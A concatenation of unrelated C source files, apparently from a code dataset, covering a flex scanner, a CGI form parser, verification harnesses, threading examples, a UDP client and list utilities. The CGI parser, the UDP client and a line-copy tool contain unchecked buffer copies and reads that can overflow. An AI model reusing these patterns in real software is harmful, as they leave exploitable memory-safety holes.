YY_CURRENT_BUFFER_LVALUE->yy_ch_buf = (char *) yyrealloc(
(void *) YY_CURRENT_BUFFER_LVALUE->yy_ch_buf, (yy_size_t) new_size );
if ( ! YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_get_next_buffer()" );
/* "- 2" to take care of EOB's */
YY_CURRENT_BUFFER_LVALUE->yy_buf_size = (int) (new_size - 2);
}
(yy_n_chars) += number_to_move;
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] = YY_END_OF_BUFFER_CHAR;
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] = YY_END_OF_BUFFER_CHAR;
(yytext_ptr) = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[0];
return ret_val;
}
/* yy_get_previous_state - get the state just before the EOB char was reached */
static yy_state_type yy_get_previous_state (void)
{
yy_state_type yy_current_state;
char *yy_cp;
yy_current_state = (yy_start);
for ( yy_cp = (yytext_ptr) + YY_MORE_ADJ; yy_cp < (yy_c_buf_p); ++yy_cp )
{
YY_CHAR yy_c = (*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : 1);
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 11 )
yy_c = yy_meta[yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c];
}
return yy_current_state;
}
/* yy_try_NUL_trans - try to make a transition on the NUL character
*
* synopsis
* next_state = yy_try_NUL_trans( current_state );
*/
static yy_state_type yy_try_NUL_trans (yy_state_type yy_current_state )
{
int yy_is_jam;
char *yy_cp = (yy_c_buf_p);
YY_CHAR yy_c = 1;
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 11 )
yy_c = yy_meta[yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c];
yy_is_jam = (yy_current_state == 10);
return yy_is_jam ? 0 : yy_current_state;
}
#ifndef YY_NO_UNPUT
static void yyunput (int c, char * yy_bp )
{
char *yy_cp;
yy_cp = (yy_c_buf_p);
/* undo effects of setting up yytext */
*yy_cp = (yy_hold_char);
if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 )
{ /* need to shift things up to make room */
/* +2 for EOB chars. */
int number_to_move = (yy_n_chars) + 2;
char *dest = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[
YY_CURRENT_BUFFER_LVALUE->yy_buf_size + 2];
char *source =
&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move];
while ( source > YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )
*--dest = *--source;
yy_cp += (int) (dest - source);
yy_bp += (int) (dest - source);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars =
(yy_n_chars) = (int) YY_CURRENT_BUFFER_LVALUE->yy_buf_size;
if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 )
YY_FATAL_ERROR( "flex scanner push-back overflow" );
}
*--yy_cp = (char) c;
(yytext_ptr) = yy_bp;
(yy_hold_char) = *yy_cp;
(yy_c_buf_p) = yy_cp;
}
#endif
#ifndef YY_NO_INPUT
#ifdef __cplusplus
static int yyinput (void)
#else
static int input (void)
#endif
{
int c;
*(yy_c_buf_p) = (yy_hold_char);
if ( *(yy_c_buf_p) == YY_END_OF_BUFFER_CHAR )
{
/* yy_c_buf_p now points to the character we want to return.
* If this occurs *before* the EOB characters, then it's a
* valid NUL; if not, then we've hit the end of the buffer.
*/
if ( (yy_c_buf_p) < &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] )
/* This was really a NUL. */
*(yy_c_buf_p) = '\0';
else
{ /* need more input */
int offset = (int) ((yy_c_buf_p) - (yytext_ptr));
++(yy_c_buf_p);
switch ( yy_get_next_buffer( ) )
{
case EOB_ACT_LAST_MATCH:
/* This happens because yy_g_n_b()
* sees that we've accumulated a
* token and flags that we need to
* try matching the token before
* proceeding. But for input(),
* there's no matching to consider.
* So convert the EOB_ACT_LAST_MATCH
* to EOB_ACT_END_OF_FILE.
*/
/* Reset buffer status. */
yyrestart( yyin );
/*FALLTHROUGH*/
case EOB_ACT_END_OF_FILE:
{
if ( yywrap( ) )
return 0;
if ( ! (yy_did_buffer_switch_on_eof) )
YY_NEW_FILE;
#ifdef __cplusplus
return yyinput();
#else
return input();
#endif
}
case EOB_ACT_CONTINUE_SCAN:
(yy_c_buf_p) = (yytext_ptr) + offset;
break;
}
}
}
c = *(unsigned char *) (yy_c_buf_p); /* cast for 8-bit char's */
*(yy_c_buf_p) = '\0'; /* preserve yytext */
(yy_hold_char) = *++(yy_c_buf_p);
return c;
}
#endif /* ifndef YY_NO_INPUT */
/** Immediately switch to a different input stream.
* @param input_file A readable stream.
*
* @note This function does not reset the start condition to @c INITIAL .
*/
void yyrestart (FILE * input_file )
{
if ( ! YY_CURRENT_BUFFER ){
yyensure_buffer_stack ();
YY_CURRENT_BUFFER_LVALUE =
yy_create_buffer( yyin, YY_BUF_SIZE );
}
yy_init_buffer( YY_CURRENT_BUFFER, input_file );
yy_load_buffer_state( );
}
/** Switch to a different input buffer.
* @param new_buffer The new input buffer.
*
*/
void yy_switch_to_buffer (YY_BUFFER_STATE new_buffer )
{
/* TODO. We should be able to replace this entire function body
* with
* yypop_buffer_state();
* yypush_buffer_state(new_buffer);
*/
yyensure_buffer_stack ();
if ( YY_CURRENT_BUFFER == new_buffer )
return;
if ( YY_CURRENT_BUFFER )
{
/* Flush out information for old buffer. */
*(yy_c_buf_p) = (yy_hold_char);
YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
YY_CURRENT_BUFFER_LVALUE = new_buffer;
yy_load_buffer_state( );
/* We don't actually know whether we did this switch during
* EOF (yywrap()) processing, but the only time this flag
* is looked at is after yywrap() is called, so it's safe
* to go ahead and always set it.
*/
(yy_did_buffer_switch_on_eof) = 1;
}
static void yy_load_buffer_state (void)
{
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;
(yytext_ptr) = (yy_c_buf_p) = YY_CURRENT_BUFFER_LVALUE->yy_buf_pos;
yyin = YY_CURRENT_BUFFER_LVALUE->yy_input_file;
(yy_hold_char) = *(yy_c_buf_p);
}
/** Allocate and initialize an input buffer state.
* @param file A readable stream.
* @param size The character buffer size in bytes. When in doubt, use @c YY_BUF_SIZE.
*
* @return the allocated buffer state.
*/
YY_BUFFER_STATE yy_create_buffer (FILE * file, int size )
{
YY_BUFFER_STATE b;
b = (YY_BUFFER_STATE) yyalloc( sizeof( struct yy_buffer_state ) );
if ( ! b )
YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );
b->yy_buf_size = size;
/* yy_ch_buf has to be 2 characters longer than the size given because
* we need to put in 2 end-of-buffer characters.
*/
b->yy_ch_buf = (char *) yyalloc( (yy_size_t) (b->yy_buf_size + 2) );
if ( ! b->yy_ch_buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );
b->yy_is_our_buffer = 1;
yy_init_buffer( b, file );
return b;
}
/** Destroy the buffer.
* @param b a buffer created with yy_create_buffer()
*
*/
void yy_delete_buffer (YY_BUFFER_STATE b )
{
if ( ! b )
return;
if ( b == YY_CURRENT_BUFFER ) /* Not sure if we should pop here. */
YY_CURRENT_BUFFER_LVALUE = (YY_BUFFER_STATE) 0;
if ( b->yy_is_our_buffer )
yyfree( (void *) b->yy_ch_buf );
yyfree( (void *) b );
}
/* Initializes or reinitializes a buffer.
* This function is sometimes called more than once on the same buffer,
* such as during a yyrestart() or at EOF.
*/
static void yy_init_buffer (YY_BUFFER_STATE b, FILE * file )
{
int oerrno = errno;
yy_flush_buffer( b );
b->yy_input_file = file;
b->yy_fill_buffer = 1;
/* If b is the current buffer, then yy_init_buffer was _probably_
* called from yyrestart() or through yy_get_next_buffer.
* In that case, we don't want to reset the lineno or column.
*/
if (b != YY_CURRENT_BUFFER){
b->yy_bs_lineno = 1;
b->yy_bs_column = 0;
}
b->yy_is_interactive = file ? (isatty( fileno(file) ) > 0) : 0;
errno = oerrno;
}
/** Discard all buffered characters. On the next scan, YY_INPUT will be called.
* @param b the buffer state to be flushed, usually @c YY_CURRENT_BUFFER.
*
*/
void yy_flush_buffer (YY_BUFFER_STATE b )
{
if ( ! b )
return;
b->yy_n_chars = 0;
/* We always need two end-of-buffer characters. The first causes
* a transition to the end-of-buffer state. The second causes
* a jam in that state.
*/
b->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR;
b->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR;
b->yy_buf_pos = &b->yy_ch_buf[0];
b->yy_at_bol = 1;
b->yy_buffer_status = YY_BUFFER_NEW;
if ( b == YY_CURRENT_BUFFER )
yy_load_buffer_state( );
}
/** Pushes the new state onto the stack. The new state becomes
* the current state. This function will allocate the stack
* if necessary.
* @param new_buffer The new state.
*
*/
void yypush_buffer_state (YY_BUFFER_STATE new_buffer )
{
if (new_buffer == NULL)
return;
yyensure_buffer_stack();
/* This block is copied from yy_switch_to_buffer. */
if ( YY_CURRENT_BUFFER )
{
/* Flush out information for old buffer. */
*(yy_c_buf_p) = (yy_hold_char);
YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
/* Only push if top exists. Otherwise, replace top. */
if (YY_CURRENT_BUFFER)
(yy_buffer_stack_top)++;
YY_CURRENT_BUFFER_LVALUE = new_buffer;
/* copied from yy_switch_to_buffer. */
yy_load_buffer_state( );
(yy_did_buffer_switch_on_eof) = 1;
}
/** Removes and deletes the top of the stack, if present.
* The next element becomes the new top.
*
*/
void yypop_buffer_state (void)
{
if (!YY_CURRENT_BUFFER)
return;
yy_delete_buffer(YY_CURRENT_BUFFER );
YY_CURRENT_BUFFER_LVALUE = NULL;
if ((yy_buffer_stack_top) > 0)
--(yy_buffer_stack_top);
if (YY_CURRENT_BUFFER) {
yy_load_buffer_state( );
(yy_did_buffer_switch_on_eof) = 1;
}
}
/* Allocates the stack if it does not exist.
* Guarantees space for at least one push.
*/
static void yyensure_buffer_stack (void)
{
yy_size_t num_to_alloc;
if (!(yy_buffer_stack)) {
/* First allocation is just for 2 elements, since we don't know if this
* scanner will even need a stack. We use 2 instead of 1 to avoid an
* immediate realloc on the next call.
*/
num_to_alloc = 1; /* After all that talk, this was set to 1 anyways... */
(yy_buffer_stack) = (struct yy_buffer_state**)yyalloc
(num_to_alloc * sizeof(struct yy_buffer_state*)
);
if ( ! (yy_buffer_stack) )
YY_FATAL_ERROR( "out of dynamic memory in yyensure_buffer_stack()" );
memset((yy_buffer_stack), 0, num_to_alloc * sizeof(struct yy_buffer_state*));
(yy_buffer_stack_max) = num_to_alloc;
(yy_buffer_stack_top) = 0;
return;
}
if ((yy_buffer_stack_top) >= ((yy_buffer_stack_max)) - 1){
/* Increase the buffer to prepare for a possible push. */
yy_size_t grow_size = 8 /* arbitrary grow size */;
num_to_alloc = (yy_buffer_stack_max) + grow_size;
(yy_buffer_stack) = (struct yy_buffer_state**)yyrealloc
((yy_buffer_stack),
num_to_alloc * sizeof(struct yy_buffer_state*)
);
if ( ! (yy_buffer_stack) )
YY_FATAL_ERROR( "out of dynamic memory in yyensure_buffer_stack()" );
/* zero only the new slots.*/
memset((yy_buffer_stack) + (yy_buffer_stack_max), 0, grow_size * sizeof(struct yy_buffer_state*));
(yy_buffer_stack_max) = num_to_alloc;
}
}
/** Setup the input buffer state to scan directly from a user-specified character buffer.
* @param base the character buffer
* @param size the size in bytes of the character buffer
*
* @return the newly allocated buffer state object.
*/
YY_BUFFER_STATE yy_scan_buffer (char * base, yy_size_t size )
{
YY_BUFFER_STATE b;
if ( size < 2 ||
base[size-2] != YY_END_OF_BUFFER_CHAR ||
base[size-1] != YY_END_OF_BUFFER_CHAR )
/* They forgot to leave room for the EOB's. */
return NULL;
b = (YY_BUFFER_STATE) yyalloc( sizeof( struct yy_buffer_state ) );
if ( ! b )
YY_FATAL_ERROR( "out of dynamic memory in yy_scan_buffer()" );
b->yy_buf_size = (int) (size - 2); /* "- 2" to take care of EOB's */
b->yy_buf_pos = b->yy_ch_buf = base;
b->yy_is_our_buffer = 0;
b->yy_input_file = NULL;
b->yy_n_chars = b->yy_buf_size;
b->yy_is_interactive = 0;
b->yy_at_bol = 1;
b->yy_fill_buffer = 0;
b->yy_buffer_status = YY_BUFFER_NEW;
yy_switch_to_buffer( b );
return b;
}
/** Setup the input buffer state to scan a string. The next call to yylex() will
* scan from a @e copy of @a str.
* @param yystr a NUL-terminated string to scan
*
* @return the newly allocated buffer state object.
* @note If you want to scan bytes that may contain NUL values, then use
* yy_scan_bytes() instead.
*/
YY_BUFFER_STATE yy_scan_string (const char * yystr )
{
return yy_scan_bytes( yystr, (int) strlen(yystr) );
}
/** Setup the input buffer state to scan the given bytes. The next call to yylex() will
* scan from a @e copy of @a bytes.
* @param yybytes the byte buffer to scan
* @param _yybytes_len the number of bytes in the buffer pointed to by @a bytes.
*
* @return the newly allocated buffer state object.
*/
YY_BUFFER_STATE yy_scan_bytes (const char * yybytes, int _yybytes_len )
{
YY_BUFFER_STATE b;
char *buf;
yy_size_t n;
int i;
/* Get memory for full buffer, including space for trailing EOB's. */
n = (yy_size_t) (_yybytes_len + 2);
buf = (char *) yyalloc( n );
if ( ! buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_scan_bytes()" );
for ( i = 0; i < _yybytes_len; ++i )
buf[i] = yybytes[i];
buf[_yybytes_len] = buf[_yybytes_len+1] = YY_END_OF_BUFFER_CHAR;
b = yy_scan_buffer( buf, n );
if ( ! b )
YY_FATAL_ERROR( "bad buffer in yy_scan_bytes()" );
/* It's okay to grow etc. this buffer, and we should throw it
* away when we're done.
*/
b->yy_is_our_buffer = 1;
return b;
}
#ifndef YY_EXIT_FAILURE
#define YY_EXIT_FAILURE 2
#endif
static void yynoreturn yy_fatal_error (const char* msg )
{
fprintf( stderr, "%s\n", msg );
exit( YY_EXIT_FAILURE );
}
/* Redefine yyless() so it works in section 3 code. */
#undef yyless
#define yyless(n) \
do \
{ \
/* Undo effects of setting up yytext. */ \
int yyless_macro_arg = (n); \
YY_LESS_LINENO(yyless_macro_arg);\
yytext[yyleng] = (yy_hold_char); \
(yy_c_buf_p) = yytext + yyless_macro_arg; \
(yy_hold_char) = *(yy_c_buf_p); \
*(yy_c_buf_p) = '\0'; \
yyleng = yyless_macro_arg; \
} \
while ( 0 )
/* Accessor methods (get/set functions) to struct members. */
/** Get the current line number.
*
*/
int yyget_lineno (void)
{
return yylineno;
}
/** Get the input stream.
*
*/
FILE *yyget_in (void)
{
return yyin;
}
/** Get the output stream.
*
*/
FILE *yyget_out (void)
{
return yyout;
}
/** Get the length of the current token.
*
*/
int yyget_leng (void)
{
return yyleng;
}
/** Get the current token.
*
*/
char *yyget_text (void)
{
return yytext;
}
/** Set the current line number.
* @param _line_number line number
*
*/
void yyset_lineno (int _line_number )
{
yylineno = _line_number;
}
/** Set the input stream. This does not discard the current
* input buffer.
* @param _in_str A readable stream.
*
* @see yy_switch_to_buffer
*/
void yyset_in (FILE * _in_str )
{
yyin = _in_str ;
}
void yyset_out (FILE * _out_str )
{
yyout = _out_str ;
}
int yyget_debug (void)
{
return yy_flex_debug;
}
void yyset_debug (int _bdebug )
{
yy_flex_debug = _bdebug ;
}
static int yy_init_globals (void)
{
/* Initialization is the same as for the non-reentrant scanner.
* This function is called from yylex_destroy(), so don't allocate here.
*/
(yy_buffer_stack) = NULL;
(yy_buffer_stack_top) = 0;
(yy_buffer_stack_max) = 0;
(yy_c_buf_p) = NULL;
(yy_init) = 0;
(yy_start) = 0;
/* Defined in main.c */
#ifdef YY_STDINIT
yyin = stdin;
yyout = stdout;
#else
yyin = NULL;
yyout = NULL;
#endif
/* For future reference: Set errno on error, since we are called by
* yylex_init()
*/
return 0;
}
/* yylex_destroy is for both reentrant and non-reentrant scanners. */
int yylex_destroy (void)
{
/* Pop the buffer stack, destroying each element. */
while(YY_CURRENT_BUFFER){
yy_delete_buffer( YY_CURRENT_BUFFER );
YY_CURRENT_BUFFER_LVALUE = NULL;
yypop_buffer_state();
}
/* Destroy the stack itself. */
yyfree((yy_buffer_stack) );
(yy_buffer_stack) = NULL;
/* Reset the globals. This is important in a non-reentrant scanner so the next time
* yylex() is called, initialization will occur. */
yy_init_globals( );
return 0;
}
/*
* Internal utility routines.
*/
#ifndef yytext_ptr
static void yy_flex_strncpy (char* s1, const char * s2, int n )
{
int i;
for ( i = 0; i < n; ++i )
s1[i] = s2[i];
}
#endif
#ifdef YY_NEED_STRLEN
static int yy_flex_strlen (const char * s )
{
int n;
for ( n = 0; s[n]; ++n )
;
return n;
}
#endif
void *yyalloc (yy_size_t size )
{
return malloc(size);
}
void *yyrealloc (void * ptr, yy_size_t size )
{
/* The cast to (char *) in the following accommodates both
* implementations that use char* generic pointers, and those
* that use void* generic pointers. It works with the latter
* because both ANSI C and C++ allow castless assignment from
* any pointer type to void*, and deal with argument conversions
* as though doing an assignment.
*/
return realloc(ptr, size);
}
void yyfree (void * ptr )
{
free( (char *) ptr ); /* see yyrealloc() for (char *) cast */
}
#define YYTABLES_NAME "yytables"
#line 28 "test1.l"
int main()
{
int token = yylex();
if(token==ID)
printf("Acceptable\n");
else if(token==ER)
printf("Unacceptable\n");
return 1;
}
|
the_stack_data/31389121.c | struct keywords {
char *k_name;
int k_val;
};
void
lookup(void)
{
static const struct keywords keywords[] = {
{ "changer", 257}
};
}
int
lgetc(int quotec)
{
return 0;
}
|
the_stack_data/95449662.c | #include <stdio.h>
#include <string.h>
main() {
char line[255], *userline, *passline, *s;
char user[20], pass[20];
printf("Content-Type: text/html\n\n");
printf("<html><head></head>");
printf("<body>");
fgets(line, 255, stdin);
printf("Parameters are: <br />");
userline = strtok(line, "&");
passline = strtok(0, "&");
user[0] = 0;
if (userline) {
s = strtok(userline, "=");
s = strtok(0, "=");
if (s) strcpy(user, s);
}
pass[0] = 0;
if (passline) {
s = strtok(passline, "=");
s = strtok(0, "=");
if (s) strcpy(pass, s);
}
printf("%s, %s", user, pass);
printf("</body>");
printf("</html>");
}
|
the_stack_data/184519256.c | //@ ltl invariant negative: <> [] AP((0 < x));
extern int __VERIFIER_nondet_int(void);
char __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
char b, _x_b;
int x, _x_x;
int main()
{
b = __VERIFIER_nondet_bool();
x = __VERIFIER_nondet_int();
int __ok = (0 <= x);
while (__ok) {
_x_b = __VERIFIER_nondet_bool();
_x_x = __VERIFIER_nondet_int();
__ok = (( !(b != 0) || (_x_x < (-1 * (x + 1)))) && ( !( !(b != 0)) || ((-1 * (x - 1)) < _x_x)));
b = _x_b;
x = _x_x;
}
}
|
the_stack_data/789956.c | #include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
int marks_summation(int *marks, int number_of_student, char gender);
int marks_summation(int *marks, int number_of_student, char gender){
int i;
int sum =0;
if(gender == 'b'){
for(i=0; i<number_of_student; i+=2)sum =sum+*(marks+i);
}
else if(gender == 'g'){
for(i=1; i<number_of_student; i+=2)sum = sum + *(marks+i);
}
return sum;
}
int main() {
int number_of_students;
char gender;
int sum;
scanf("%d", &number_of_students);
int *marks = (int *) malloc(number_of_students * sizeof (int));
for (int student = 0; student < number_of_students; student++) {
scanf("%d", (marks + student));
}
scanf(" %c", &gender);
sum = marks_summation(marks, number_of_students, gender);
printf("%d", sum);
free(marks);
return 0;
}
|
the_stack_data/541400.c | /*
* ----------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (Revision 42):
* <[email protected]> wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return. Poul-Henning Kamp
* ----------------------------------------------------------------------------
*/
#ifndef lint
static const char rcsid[] =
"$FreeBSD: src/usr.sbin/vnconfig/vnconfig.c,v 1.23 2001/06/24 20:25:22 dd Exp $";
#endif /* not lint */
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char **argv)
{
fprintf(stderr, "ERROR: vnconfig(8) has been discontinued\n");
fprintf(stderr, "\tPlease use mdconfig(8).\n");
exit (1);
}
|
the_stack_data/1056646.c | #include <pthread.h>
#include <semaphore.h>
#include <stdio.h>
//to handle the deadlock situation, I have enforced that the philosophers can eat only when their neighbours are not eating
//state == 0 when eating
//state == 1 when ready to eat
//state == 2 when thinking
#define LEFT (philo + 4) % 5
#define RIGHT (philo + 1) % 5
sem_t mutex;
int state[5];
sem_t semaphores[5];
void test(int philo)
{
if (state[philo] == 1 && state[LEFT] != 0 && state[RIGHT] != 0)
{
state[philo] = 0;
printf("P%d recieves F%d, F%d\n", philo + 1, LEFT + 1, philo + 1);
sem_post(&semaphores[philo]);
}
}
void take_fork(int philo)
{
sem_wait(&mutex);
state[philo] = 1;
test(philo);
sem_post(&mutex);
sem_wait(&semaphores[philo]);
}
void put_fork(int philo)
{
sem_wait(&mutex);
state[philo] = 2;
test(LEFT);
test(RIGHT);
sem_post(&mutex);
}
void *philospher(void *num)
{
int *id = num;
take_fork(*id);
put_fork(*id);
pthread_exit(NULL);
}
int main(void)
{
printf("Hello Workd %s\n", __FILE__);
pthread_t thread[5];
sem_init(&mutex, 0, 1);
int philosophers[] = {0, 1, 2, 3, 4};
for (int i = 0; i < 5; i++)
{
sem_init(&semaphores[i], 0, 0);
}
for (int i = 0; i < 5; i++)
{
int errCheck = pthread_create(&thread[i], NULL, philospher, &philosophers[i]);
if (errCheck != 0)
{
perror("pthread_create");
return 1;
}
}
for (int i = 0; i < 5; i++)
{
pthread_join(thread[i], NULL);
}
return 0;
} |
the_stack_data/32949399.c | /* $OpenBSD: lfs_cksum.c,v 1.3 2003/06/02 23:28:23 millert Exp $ */
/* $NetBSD: lfs_cksum.c,v 1.6 1996/02/16 02:22:05 christos Exp $ */
/*-
* Copyright (c) 1991, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)lfs_cksum.c 8.2 (Berkeley) 10/9/94
*/
#include <sys/types.h>
#ifdef _KERNEL
#include <ufs/lfs/lfs_extern.h>
#endif
/*
* Simple, general purpose, fast checksum. Data must be short-aligned.
* Returns a u_long in case we ever want to do something more rigorous.
*
* XXX
* Use the TCP/IP checksum instead.
*/
u_long
cksum(str, len)
register void *str;
register size_t len;
{
register u_long sum;
len &= ~(sizeof(u_short) - 1);
for (sum = 0; len; len -= sizeof(u_short)) {
sum ^= *(u_short *)str;
str = (void *)((u_short *)str + 1);
}
return (sum);
}
|
the_stack_data/97013252.c | // Copyright (c) 2015 Nuxi, https://nuxi.nl/
//
// SPDX-License-Identifier: BSD-2-Clause
#include <pthread.h>
#include <threads.h>
int pthread_equal(pthread_t t1, pthread_t t2) {
return t1 == t2;
}
__strong_reference(pthread_equal, thrd_equal);
|
the_stack_data/11659.c | /* { dg-do compile } */
/* { dg-require-effective-target arm_arch_v8m_base_ok } */
/* { dg-add-options arm_arch_v8m_base } */
/* { dg-options "-mcmse" } */
int __attribute__ ((cmse_nonsecure_call)) (*bar) (double);
int
foo (int a)
{
return bar (2.0) + a + 1;
}
/* Remember dont clear r0 and r1, because we are passing the double parameter
* for bar in them. */
/* { dg-final { scan-assembler "lsrs\tr4, r4, #1" } } */
/* { dg-final { scan-assembler "lsls\tr4, r4, #1" } } */
/* { dg-final { scan-assembler "movs\tr2, r4" } } */
/* Now we check that we use the correct intrinsic to call. */
/* { dg-final { scan-assembler "bl\t__gnu_cmse_nonsecure_call" } } */
|
the_stack_data/578182.c | // Bank Account Example extracted/modified from http://stormchecker.codeplex.com
#include <pthread.h>
#include <stdio.h>
#define TRUE 1
#define FALSE 0
void *malloc(unsigned size);
int nondet_int();
int x, y, z;
// Account structure
typedef struct {
int balance;
pthread_mutex_t lock;
} ACCOUNT, *PACCOUNT;
PACCOUNT create(int b)
{
PACCOUNT acc = (PACCOUNT) malloc(sizeof(ACCOUNT));
acc->balance = b;
pthread_mutex_init(&acc->lock, 0);
return acc;
}
int read(PACCOUNT acc)
{
return acc->balance;
}
void deposit(PACCOUNT acc)
{
pthread_mutex_lock(&acc->lock);
acc->balance = acc->balance + y;
pthread_mutex_unlock(&acc->lock);
}
void withdraw(PACCOUNT acc)
{
int r;
pthread_mutex_lock(&acc->lock);
r = read(acc);
acc->balance = r - z;
pthread_mutex_unlock(&acc->lock);
}
// Harness
// Thread 1
void* deposit_thread(void* arg)
{
deposit(arg);
}
// Thread 2
void* withdraw_thread(void* arg)
{
withdraw(arg);
}
int main()
{
pthread_t t1, t2;
PACCOUNT acc;
// Initialization
x = nondet_int(); //balance
y = nondet_int(); //deposit
z = nondet_int(); //withdraw
acc = create(x);
// Threads
pthread_create(&t1, 0, deposit_thread, acc);
pthread_create(&t2, 0, withdraw_thread, acc);
assert(read(acc) == x + y - z);
return 0;
}
|
the_stack_data/277689.c | #include <stdio.h>
#include <string.h>
#define BUFFER_SIZE 10
int main(int argc, char **argv) {
if (argc != 3) {
printf("USAGE: copy_ln SRC_FILE DEST_FILE\n");
return 1;
}
int line_number = 1;
char buffer[BUFFER_SIZE] = { 0 };
FILE *src_fp = fopen(argv[1], "r");
FILE *dest_fp = fopen(argv[2], "w");
if (src_fp == NULL) {
printf("Could not open source file for reading.\n");
return 1;
} else if (dest_fp == NULL) {
printf("Could not open destination file for writing.\n");
return 1;
}
while (!feof(src_fp)) {
char ln_buff[BUFFER_SIZE] = { 0 };
char *read_result = fgets(buffer, BUFFER_SIZE, src_fp);
if (read_result == NULL) {
break;
}
sprintf(ln_buff, "%d: ", line_number++);
fputs(ln_buff, dest_fp);
while (read_result != NULL && buffer[strlen(buffer) - 1] != '\n') {
fputs(buffer, dest_fp);
read_result = fgets(buffer, BUFFER_SIZE, src_fp);
}
printf("[DEBUG] read_result = %p\n", read_result);
if (read_result != NULL) {
fputs(buffer, dest_fp);
}
}
// Close files
fclose(src_fp);
fclose(dest_fp);
return 0;
}
|
the_stack_data/296047.c | int test() {
int a[10];
a[1] = 65;
char s[10];
s[0] = a[1];
int b[4] = {1, 3, 5, 12};
if(b[0] != 1) return 1;
if(b[1] != 3) return 1;
if(b[2] != 5) return 1;
if(b[3] != 12) return 1;
return 0;
}
|
the_stack_data/37297.c | /* Sample UDP client */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char**argv){
int sockfd,n;
struct sockaddr_in servaddr;
char* sendline = "ack";
char recvline[1000];
if (argc != 2){
printf("usage:%s <IP address>\n",argv[0]);
return -1;
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=inet_addr(argv[1]);
servaddr.sin_port=htons(3776);
sendto(sockfd,sendline,strlen(sendline),0,(struct sockaddr*)&servaddr,sizeof(servaddr));
while(1){
n=recvfrom(sockfd,recvline,10000,0,NULL,NULL);
recvline[n] = 0;
printf("Received : %s\n", recvline);
}
return 0;
} |
the_stack_data/118060.c | #include <stdio.h>
#include <stdlib.h>
struct ListNode {
int val;
struct ListNode *next;
};
typedef struct ListNode Node;
Node *insertVal(int val, Node *head) {
Node *fresh = (Node *) malloc(sizeof(Node));
fresh->val = val;
fresh->next = head;
return fresh;
}
void freeList(Node *head) {
while (head != NULL) {
Node *next = head->next;
free(head);
head = next;
}
}
Node *reverseList(Node *head) {
Node *ret = NULL;
while (head != NULL) {
Node *next = head->next;
head->next = ret;
ret = head;
head = next;
}
return ret;
}
void printList(Node *l) {
printf("[");
for (Node *ll = l; ll != NULL; ll = ll->next) {
printf("%d", ll->val);
